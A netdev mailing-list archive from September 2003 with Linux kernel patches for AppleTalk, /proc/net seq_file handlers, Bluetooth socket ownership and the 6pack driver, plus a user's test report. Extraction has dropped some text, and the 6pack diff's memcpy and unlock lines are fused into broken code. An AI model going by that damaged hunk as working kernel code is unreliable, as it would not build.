boundary="------------49A81D5250D4DF80A629C1DE" X-archive-position: 5733 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cobra@compuserve.com Precedence: bulk X-list: netdev Content-Length: 1483 Lines: 46 This is a multi-part message in MIME format. --------------49A81D5250D4DF80A629C1DE Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit This patch to net/appletalk/aarp.c seemed fine, however it seems it changed prior to hitting the bk tree. The attached is needed to compile. -- Kevin --------------49A81D5250D4DF80A629C1DE Content-Type: text/plain; charset=us-ascii; name="patch_aarp_bk.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="patch_aarp_bk.diff" # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1238 -> 1.1239 # net/appletalk/aarp.c 1.17 -> 1.18 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/09 cobra@sea.kevb.net 1.1239 # Fixup typo # -------------------------------------------- # diff -Nru a/net/appletalk/aarp.c b/net/appletalk/aarp.c --- a/net/appletalk/aarp.c Tue Sep 9 22:05:25 2003 +++ b/net/appletalk/aarp.c Tue Sep 9 22:05:25 2003 @@ -941,7 +941,7 @@ iter->table = resolved; iter->bucket = 0; - return *pos ? iter_next(iter, pos) : SEQ_START_TOKEN); + return *pos ? iter_next(iter, pos) : SEQ_START_TOKEN; } static void *aarp_seq_next(struct seq_file *seq, void *v, loff_t *pos) --------------49A81D5250D4DF80A629C1DE-- From yoshfuji@linux-ipv6.org Tue Sep 9 19:53:12 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Sep 2003 19:53:57 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8A2rBx4019850 for ; Tue, 9 Sep 2003 19:53:11 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian-5) with ESMTP id h8A2ru1M013004; Wed, 10 Sep 2003 11:53:56 +0900 Date: Wed, 10 Sep 2003 11:53:56 +0900 (JST) Message-Id: <20030910.115356.107533747.yoshfuji@linux-ipv6.org> To: davem@redhat.com, netdev@oss.sgi.com Cc: yoshfuji@linux-ipv6.org Subject: [RESEND 3/3] clean up /proc/net/{anycast6,igmp6} From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20030906.160458.39800982.yoshfuji@linux-ipv6.org> References: <20030904004638.1d4b001d.davem@redhat.com> <20030906.160458.39800982.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-archive-position: 5734 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 1830 Lines: 47 Hello. In article <20030906.160458.39800982.yoshfuji@linux-ipv6.org> (at Sat, 06 Sep 2003 16:04:58 +0900 (JST)), YOSHIFUJI Hideaki / $B5HF#1QL@(B says: > In article (at Thu, 4 Sep 2003 12:25:16 -0400 (EDT)) > [3/3] clean up /proc/net/{anycast6,igmp6} : > Note 0: These confilct with SEQ_START_TOKEN patches; > I'll regenerate if SEQ_START_TOKEN accepted. Index: linux-2.6/net/ipv6/anycast.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv6/anycast.c,v retrieving revision 1.7 diff -u -r1.7 anycast.c --- linux-2.6/net/ipv6/anycast.c 25 Jul 2003 17:11:54 -0000 1.7 +++ linux-2.6/net/ipv6/anycast.c 10 Sep 2003 01:00:49 -0000 @@ -505,7 +505,7 @@ static void *ac6_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&dev_base_lock); - return *pos ? ac6_get_idx(seq, *pos) : ac6_get_first(seq); + return ac6_get_idx(seq, *pos); } static void *ac6_seq_next(struct seq_file *seq, void *v, loff_t *pos) Index: linux-2.6/net/ipv6/mcast.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv6/mcast.c,v retrieving revision 1.32 diff -u -r1.32 mcast.c --- linux-2.6/net/ipv6/mcast.c 9 Sep 2003 23:24:51 -0000 1.32 +++ linux-2.6/net/ipv6/mcast.c 10 Sep 2003 01:00:49 -0000 @@ -2119,7 +2119,7 @@ static void *igmp6_mc_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&dev_base_lock); - return *pos ? igmp6_mc_get_idx(seq, *pos) : igmp6_mc_get_first(seq); + return igmp6_mc_get_idx(seq, *pos); } static void *igmp6_mc_seq_next(struct seq_file *seq, void *v, loff_t *pos) -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Tue Sep 9 19:53:09 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Sep 2003 19:53:58 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8A2r7x4019799 for ; Tue, 9 Sep 2003 19:53:08 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian-5) with ESMTP id h8A2rn1M012992; Wed, 10 Sep 2003 11:53:49 +0900 Date: Wed, 10 Sep 2003 11:53:49 +0900 (JST) Message-Id: <20030910.115349.78624567.yoshfuji@linux-ipv6.org> To: davem@redhat.com, netdev@oss.sgi.com Cc: yoshfuji@linux-ipv6.org Subject: [RESEND 1/3] /proc/net/{igmp,msfilter,raw,rt_cache,ip6_flowlabel,msfilter6,raw6} may drop some data From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20030906.160458.39800982.yoshfuji@linux-ipv6.org> References: <20030904004638.1d4b001d.davem@redhat.com> <20030906.160458.39800982.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-archive-position: 5734 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 4687 Lines: 119 Hello. In article <20030906.160458.39800982.yoshfuji@linux-ipv6.org> (at Sat, 06 Sep 2003 16:04:58 +0900 (JST)), YOSHIFUJI Hideaki / $B5HF#1QL@(B says: > [1/3] /proc/net/{igmp,msfilter,raw,rt_cache,ip6_flowlabel,msfilter6,raw6} may drop some data : > Note 0: These confilct with SEQ_START_TOKEN patches; > I'll regenerate if SEQ_START_TOKEN accepted. Index: linux-2.6/net/ipv4/igmp.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv4/igmp.c,v retrieving revision 1.35 diff -u -r1.35 igmp.c --- linux-2.6/net/ipv4/igmp.c 9 Sep 2003 23:24:51 -0000 1.35 +++ linux-2.6/net/ipv4/igmp.c 10 Sep 2003 01:00:49 -0000 @@ -2162,7 +2162,7 @@ static void *igmp_mc_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&dev_base_lock); - return *pos ? igmp_mc_get_idx(seq, *pos) : SEQ_START_TOKEN; + return *pos ? igmp_mc_get_idx(seq, *pos - 1) : SEQ_START_TOKEN; } static void *igmp_mc_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -2337,7 +2337,7 @@ static void *igmp_mcf_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&dev_base_lock); - return *pos ? igmp_mcf_get_idx(seq, *pos) : SEQ_START_TOKEN; + return *pos ? igmp_mcf_get_idx(seq, *pos - 1) : SEQ_START_TOKEN; } static void *igmp_mcf_seq_next(struct seq_file *seq, void *v, loff_t *pos) Index: linux-2.6/net/ipv4/raw.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv4/raw.c,v retrieving revision 1.36 diff -u -r1.36 raw.c --- linux-2.6/net/ipv4/raw.c 9 Sep 2003 23:24:51 -0000 1.36 +++ linux-2.6/net/ipv4/raw.c 10 Sep 2003 01:00:49 -0000 @@ -736,7 +736,7 @@ static void *raw_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&raw_v4_lock); - return *pos ? raw_get_idx(seq, *pos) : SEQ_START_TOKEN; + return *pos ? raw_get_idx(seq, *pos - 1) : SEQ_START_TOKEN; } static void *raw_seq_next(struct seq_file *seq, void *v, loff_t *pos) Index: linux-2.6/net/ipv4/route.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv4/route.c,v retrieving revision 1.59 diff -u -r1.59 route.c --- linux-2.6/net/ipv4/route.c 9 Sep 2003 23:24:51 -0000 1.59 +++ linux-2.6/net/ipv4/route.c 10 Sep 2003 01:00:49 -0000 @@ -259,7 +259,7 @@ static void *rt_cache_seq_start(struct seq_file *seq, loff_t *pos) { - return *pos ? rt_cache_get_idx(seq, *pos) : SEQ_START_TOKEN; + return *pos ? rt_cache_get_idx(seq, *pos - 1) : SEQ_START_TOKEN; } static void *rt_cache_seq_next(struct seq_file *seq, void *v, loff_t *pos) Index: linux-2.6/net/ipv6/ip6_flowlabel.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv6/ip6_flowlabel.c,v retrieving revision 1.9 diff -u -r1.9 ip6_flowlabel.c --- linux-2.6/net/ipv6/ip6_flowlabel.c 9 Sep 2003 23:24:51 -0000 1.9 +++ linux-2.6/net/ipv6/ip6_flowlabel.c 10 Sep 2003 01:00:49 -0000 @@ -603,7 +603,7 @@ static void *ip6fl_seq_start(struct seq_file *seq, loff_t *pos) { read_lock_bh(&ip6_fl_lock); - return *pos ? ip6fl_get_idx(seq, *pos) : SEQ_START_TOKEN; + return *pos ? ip6fl_get_idx(seq, *pos - 1) : SEQ_START_TOKEN; } static void *ip6fl_seq_next(struct seq_file *seq, void *v, loff_t *pos) Index: linux-2.6/net/ipv6/mcast.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv6/mcast.c,v retrieving revision 1.32 diff -u -r1.32 mcast.c --- linux-2.6/net/ipv6/mcast.c 9 Sep 2003 23:24:51 -0000 1.32 +++ linux-2.6/net/ipv6/mcast.c 10 Sep 2003 01:00:49 -0000 @@ -2278,7 +2278,7 @@ static void *igmp6_mcf_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&dev_base_lock); - return *pos ? igmp6_mcf_get_idx(seq, *pos) : SEQ_START_TOKEN; + return *pos ? igmp6_mcf_get_idx(seq, *pos - 1) : SEQ_START_TOKEN; } static void *igmp6_mcf_seq_next(struct seq_file *seq, void *v, loff_t *pos) Index: linux-2.6/net/ipv6/raw.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv6/raw.c,v retrieving revision 1.38 diff -u -r1.38 raw.c --- linux-2.6/net/ipv6/raw.c 9 Sep 2003 23:24:51 -0000 1.38 +++ linux-2.6/net/ipv6/raw.c 10 Sep 2003 01:00:49 -0000 @@ -961,7 +961,7 @@ static void *raw6_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&raw_v6_lock); - return *pos ? raw6_get_idx(seq, *pos) : SEQ_START_TOKEN; + return *pos ? raw6_get_idx(seq, *pos - 1) : SEQ_START_TOKEN; } static void *raw6_seq_next(struct seq_file *seq, void *v, loff_t *pos) -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Tue Sep 9 20:45:52 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Sep 2003 20:46:25 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8A3jox4030587 for ; Tue, 9 Sep 2003 20:45:51 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian-5) with ESMTP id h8A2rr1M012998; Wed, 10 Sep 2003 11:53:53 +0900 Date: Wed, 10 Sep 2003 11:53:53 +0900 (JST) Message-Id: <20030910.115353.05248507.yoshfuji@linux-ipv6.org> To: davem@redhat.com, netdev@oss.sgi.com Cc: yoshfuji@linux-ipv6.org Subject: [RESEND 2/3] /proc/net/if_inet6 may drop some data From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20030906.160458.39800982.yoshfuji@linux-ipv6.org> References: <20030904004638.1d4b001d.davem@redhat.com> <20030906.160458.39800982.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-archive-position: 5735 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 3516 Lines: 140 Hello. In article <20030906.160458.39800982.yoshfuji@linux-ipv6.org> (at Sat, 06 Sep 2003 16:04:58 +0900 (JST)), YOSHIFUJI Hideaki / $B5HF#1QL@(B says: > [2/3] /proc/net/if_inet6 may drop some data : > Note 0: These confilct with SEQ_START_TOKEN patches; > I'll regenerate if SEQ_START_TOKEN accepted. Index: linux-2.6/net/ipv6/addrconf.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv6/addrconf.c,v retrieving revision 1.53 diff -u -r1.53 addrconf.c --- linux-2.6/net/ipv6/addrconf.c 9 Sep 2003 23:24:51 -0000 1.53 +++ linux-2.6/net/ipv6/addrconf.c 10 Sep 2003 01:00:49 -0000 @@ -2149,59 +2149,65 @@ int bucket; }; -static inline struct inet6_ifaddr *if6_get_bucket(struct seq_file *seq, loff_t *pos) +static struct inet6_ifaddr *if6_get_first(struct seq_file *seq) { - int i; struct inet6_ifaddr *ifa = NULL; - loff_t l = *pos; struct if6_iter_state *state = seq->private; - for (; state->bucket < IN6_ADDR_HSIZE; ++state->bucket) - for (i = 0, ifa = inet6_addr_lst[state->bucket]; ifa; ++i, ifa=ifa->lst_next) { - if (l--) - continue; - *pos = i; - goto out; - } -out: + for (state->bucket = 0; state->bucket < IN6_ADDR_HSIZE; ++state->bucket) { + ifa = inet6_addr_lst[state->bucket]; + if (ifa) + break; + } + return ifa; +} + +static struct inet6_ifaddr *if6_get_next(struct seq_file *seq, struct inet6_ifaddr *ifa) +{ + struct if6_iter_state *state = seq->private; + + ifa = ifa->lst_next; +try_again: + if (!ifa && ++state->bucket < IN6_ADDR_HSIZE) { + ifa = inet6_addr_lst[state->bucket]; + goto try_again; + } return ifa; } +static struct inet6_ifaddr *if6_get_idx(struct seq_file *seq, loff_t pos) +{ + struct inet6_ifaddr *ifa = if6_get_first(seq); + + if (ifa) + while(pos && (ifa = if6_get_next(seq, ifa)) != NULL) + --pos; + return pos ? NULL : ifa; +} + static void *if6_seq_start(struct seq_file *seq, loff_t *pos) { read_lock_bh(&addrconf_hash_lock); - return *pos ? if6_get_bucket(seq, pos) : SEQ_START_TOKEN; + return if6_get_idx(seq, *pos); } static void *if6_seq_next(struct seq_file *seq, void *v, loff_t *pos) { struct inet6_ifaddr *ifa; - struct if6_iter_state *state; - - if (v == SEQ_START_TOKEN) { - ifa = if6_get_bucket(seq, pos); - goto out; - } - - state = seq->private; - - ifa = v; - ifa = ifa->lst_next; - if (ifa) - goto out; - - if (++state->bucket >= IN6_ADDR_HSIZE) - goto out; - *pos = 0; - ifa = if6_get_bucket(seq, pos); -out: + ifa = if6_get_next(seq, v); ++*pos; return ifa; } -static inline void if6_iface_seq_show(struct seq_file *seq, struct inet6_ifaddr *ifp) +static void if6_seq_stop(struct seq_file *seq, void *v) +{ + read_unlock_bh(&addrconf_hash_lock); +} + +static int if6_seq_show(struct seq_file *seq, void *v) { + struct inet6_ifaddr *ifp = (struct inet6_ifaddr *)v; seq_printf(seq, "%04x%04x%04x%04x%04x%04x%04x%04x %02x %02x %02x %02x %8s\n", NIP6(ifp->addr), @@ -2210,20 +2216,7 @@ ifp->scope, ifp->flags, ifp->idev->dev->name); -} - -static int if6_seq_show(struct seq_file *seq, void *v) -{ - if (v == SEQ_START_TOKEN) - return 0; - else - if6_iface_seq_show(seq, v); return 0; -} - -static void if6_seq_stop(struct seq_file *seq, void *v) -{ - read_unlock_bh(&addrconf_hash_lock); } static struct seq_operations if6_seq_ops = { -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From fedor@karpelevitch.net Tue Sep 9 23:39:02 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 09 Sep 2003 23:39:53 -0700 (PDT) Received: from rwcrmhc13.comcast.net (rwcrmhc13.comcast.net [204.127.198.39]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8A6cwx4022600 for ; Tue, 9 Sep 2003 23:39:01 -0700 Received: from bologoe.karpelevitch.net (12-235-34-243.client.attbi.com[12.235.34.243](untrusted sender)) by comcast.net (rwcrmhc13) with ESMTP id <2003091006062101500i9i7ue>; Wed, 10 Sep 2003 06:06:22 +0000 Received: from fedor by bologoe.karpelevitch.net with local (Exim 3.36 #1 (Debian)) id 19wy9o-0000Wb-00; Tue, 09 Sep 2003 23:08:48 -0700 From: Fedor Karpelevitch To: Jeff Garzik , Sven-Haegar Koch Subject: Re: [PATCH] Re: ifconfig up/down problem Date: Tue, 9 Sep 2003 23:08:48 -0700 User-Agent: KMail/1.5.3 Cc: netdev@oss.sgi.com, "David S. Miller" , Andrew Morton , LKML References: <3F5CFF7E.1090005@pobox.com> <200309091635.58748.fedor@karpelevitch.net> In-Reply-To: <200309091635.58748.fedor@karpelevitch.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200309092308.48099.fedor@karpelevitch.net> X-archive-position: 5736 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: fedor@karpelevitch.net Precedence: bulk X-list: netdev Content-Length: 504 Lines: 20 Fedor Karpelevitch wrote: > Jeff Garzik wrote: > > Sven-Haegar Koch wrote: > > > Kernel 2.4.20-pre2-ac3 is ok (my last kernel, running for > > > month') > > > > Does the attached patch fix it? > > > > Jeff > > does not help me (assuming I have the same problem). I have a total > lockup a few seconds after setting up the interface (not > immidiately). > > Fedor. actually it seemed to have helped with 2.6.0-test5 where I was apparently having the same issue. Not with 2.4.23-pre3 however... Fedor. From dwmw2@infradead.org Wed Sep 10 01:59:11 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Sep 2003 01:59:57 -0700 (PDT) Received: from executor.cambridge.redhat.com (pub237.cambridge.redhat.com [213.86.99.237] (may be forged)) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8A8xAx4000361 for ; Wed, 10 Sep 2003 01:59:11 -0700 Received: from hades.cambridge.redhat.com (hades.cambridge.redhat.com [172.16.18.64]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 27BF763D67; Wed, 10 Sep 2003 09:59:04 +0100 (BST) Received: from localhost.localdomain (IDENT:3oQI4cQ5ac/N/Fhu06McSlbkNvoF0IgN@localhost.localdomain [127.0.0.1]) by hades.cambridge.redhat.com (8.12.9/8.11.0) with ESMTP id h8A8wv54018730; Wed, 10 Sep 2003 09:58:58 +0100 Subject: Bluetooth BUG() in set_sk_owner(). From: David Woodhouse To: netdev@oss.sgi.com Cc: Stephen Hemminger , makx@qualcomm.com, marcel@holtmann.org Content-Type: text/plain Message-Id: <1063184337.32473.529.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.5 (dwmw2) Date: Wed, 10 Sep 2003 09:58:57 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 5737 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev Content-Length: 1290 Lines: 46 It loks like the recent addition of sk_set_owner() to bt_sock_alloc() was bogus... some of the callers of bt_sock_alloc() already do that for This patch reverts it, and makes the remaining callers also set the owner for themselves... ===== net/bluetooth/af_bluetooth.c 1.22 vs edited ===== --- 1.22/net/bluetooth/af_bluetooth.c Sun Aug 31 03:30:42 2003 +++ edited/net/bluetooth/af_bluetooth.c Tue Sep 9 11:28:51 2003 @@ -130,7 +130,6 @@ } sock_init_data(sock, sk); - sk_set_owner(sk, THIS_MODULE); INIT_LIST_HEAD(&bt_sk(sk)->accept_q); sk->sk_zapped = 0; ===== net/bluetooth/hci_sock.c 1.24 vs edited ===== --- 1.24/net/bluetooth/hci_sock.c Sat Jul 5 07:52:58 2003 +++ edited/net/bluetooth/hci_sock.c Tue Sep 9 11:30:43 2003 @@ -587,6 +587,8 @@ if (!sk) return -ENOMEM; + sk_set_owner(sk, THIS_MODULE); + sock->state = SS_UNCONNECTED; sk->sk_state = BT_OPEN; ===== net/bluetooth/bnep/sock.c 1.11 vs edited ===== --- 1.11/net/bluetooth/bnep/sock.c Thu Jun 5 01:57:08 2003 +++ edited/net/bluetooth/bnep/sock.c Tue Sep 9 11:29:54 2003 @@ -175,6 +175,9 @@ if (!(sk = bt_sock_alloc(sock, PF_BLUETOOTH, 0, GFP_KERNEL))) return -ENOMEM; + + sk_set_owner(sk, THIS_MODULE); + sock->ops = &bnep_sock_ops; sock->state = SS_UNCONNECTED; -- dwmw2 From vinay-rc@naturesoft.net Wed Sep 10 02:13:06 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Sep 2003 02:13:41 -0700 (PDT) Received: from naturesoft.net ([203.145.184.221]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8A9D2x4006324 for ; Wed, 10 Sep 2003 02:13:05 -0700 Received: from [192.168.0.15] (helo=lima.royalchallenge.com) by naturesoft.net with esmtp (Exim 3.35 #1) id 19x0tx-0007P9-00; Wed, 10 Sep 2003 14:34:37 +0530 Subject: [PATCh 2.6.0-test5][NET] fix 6pack.c From: Vinay K Nallamothu To: netdev@oss.sgi.com Cc: LKML Content-Type: text/plain Organization: NatureSoft Private Limited Message-Id: <1063185237.4418.79.camel@lima.royalchallenge.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Wed, 10 Sep 2003 14:43:57 +0530 Content-Transfer-Encoding: 7bit X-archive-position: 5738 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vinay-rc@naturesoft.net Precedence: bulk X-list: netdev Content-Length: 3426 Lines: 128 Compiles fine but untested. The following changes are made: 1. replace sti/cli with spin_lock 2. cleanup timer management code Vinay --- /home/nvinay/tmp/6pack.c 2003-09-09 21:08:24.000000000 +0530 +++ linux-2.6.0-test5/drivers/net/hamradio/6pack.c 2003-09-10 13:25:22.000000000 +0530 @@ -122,6 +122,7 @@ unsigned char status2; unsigned char tx_enable; unsigned char tnc_ok; + spinlock_t rcv_lock; struct timer_list tx_t; struct timer_list resync_t; @@ -140,7 +141,7 @@ MODULE_PARM(sixpack_maxdev, "i"); MODULE_PARM_DESC(sixpack_maxdev, "number of 6PACK devices"); -static void sp_start_tx_timer(struct sixpack *); +static inline void sp_start_tx_timer(struct sixpack *); static void sp_xmit_on_air(unsigned long); static void resync_tnc(unsigned long); static void sixpack_decode(struct sixpack *, unsigned char[], int); @@ -478,10 +479,17 @@ sp->tnc_ok = 0; sp->tx_enable = 0; + spin_lock_init(&sp->rcv_lock); + netif_start_queue(dev); init_timer(&sp->tx_t); + sp->tx_t.data = (unsigned long) sp; + sp->tx_t.function = sp_xmit_on_air; + init_timer(&sp->resync_t); + sp->resync_t.data = (unsigned long) sp; + sp->resync_t.function = resync_tnc; return 0; } @@ -516,7 +524,6 @@ static void sixpack_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count) { unsigned char buf[512]; - unsigned long flags; int count1; struct sixpack *sp = (struct sixpack *) tty->disc_data; @@ -525,10 +532,9 @@ !netif_running(sp->dev) || !count) return; - save_flags(flags); - cli(); + spin_lock_bh(&sp->rcv_lock); memcpy(buf, cp, countrcv_lock); /* Read the characters out of the buffer */ @@ -804,15 +810,10 @@ /* ----> 6pack timer interrupt handler and friends. <---- */ -static void sp_start_tx_timer(struct sixpack *sp) +static inline void sp_start_tx_timer(struct sixpack *sp) { int when = sp->slottime; - - del_timer(&sp->tx_t); - sp->tx_t.data = (unsigned long) sp; - sp->tx_t.function = sp_xmit_on_air; - sp->tx_t.expires = jiffies + ((when+1)*HZ)/100; - add_timer(&sp->tx_t); + mod_timer(&sp->tx_t, jiffies + ((when+1)*HZ)/100); } @@ -884,12 +885,7 @@ sp->tty->driver->write(sp->tty, 0, &inbyte, 1); - del_timer(&sp->resync_t); - sp->resync_t.data = (unsigned long) sp; - sp->resync_t.function = resync_tnc; - sp->resync_t.expires = jiffies + SIXP_RESYNC_TIMEOUT; - add_timer(&sp->resync_t); - + mod_timer(&sp->resync_t, jiffies + SIXP_RESYNC_TIMEOUT); return 0; } @@ -941,13 +937,8 @@ /* if the state byte has been received, the TNC is present, so the resync timer can be reset. */ - if (sp->tnc_ok == 1) { - del_timer(&sp->resync_t); - sp->resync_t.data = (unsigned long) sp; - sp->resync_t.function = resync_tnc; - sp->resync_t.expires = jiffies + SIXP_INIT_RESYNC_TIMEOUT; - add_timer(&sp->resync_t); - } + if (sp->tnc_ok == 1) + mod_timer(&sp->resync_t, jiffies + SIXP_INIT_RESYNC_TIMEOUT); sp->status1 = cmd & SIXP_PRIO_DATA_MASK; } @@ -983,11 +974,7 @@ /* Start resync timer again -- the TNC might be still absent */ - del_timer(&sp->resync_t); - sp->resync_t.data = (unsigned long) sp; - sp->resync_t.function = resync_tnc; - sp->resync_t.expires = jiffies + SIXP_RESYNC_TIMEOUT; - add_timer(&sp->resync_t); + mod_timer(&sp->resync_t, jiffies + SIXP_RESYNC_TIMEOUT); } From fedor@karpelevitch.net Wed Sep 10 08:28:14 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Sep 2003 08:28:20 -0700 (PDT) Received: from halon.barra.com (halon.barra.com [144.203.11.1]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8AFSCx4007521 for ; Wed, 10 Sep 2003 08:28:14 -0700 Received: from royer.barra.com (royer [144.203.13.201]) by halon.barra.com (8.11.6p2/8.11.6/(v2.0 barra.com )) with ESMTP id h8AFOhw10666; Wed, 10 Sep 2003 08:24:43 -0700 (PDT) Received: from bologoe.karpelevitch.net (mail@dhcpcli8.barra.com [144.203.15.157]) by royer.barra.com (8.11.1/8.11.1/royer.mc) with ESMTP id h8AFRnm28480; Wed, 10 Sep 2003 08:27:50 -0700 (PDT) Received: from fedor by bologoe.karpelevitch.net with local (Exim 3.36 #1 (Debian)) id 19x6KR-0000Q8-00; Wed, 10 Sep 2003 07:52:19 -0700 From: Fedor Karpelevitch To: Jeff Garzik , Sven-Haegar Koch Subject: Re: [PATCH] Re: ifconfig up/down problem Date: Wed, 10 Sep 2003 07:52:18 -0700 User-Agent: KMail/1.5.3 Cc: netdev@oss.sgi.com, "David S. Miller" , Andrew Morton , LKML References: <200309091635.58748.fedor@karpelevitch.net> <200309092308.48099.fedor@karpelevitch.net> In-Reply-To: <200309092308.48099.fedor@karpelevitch.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" 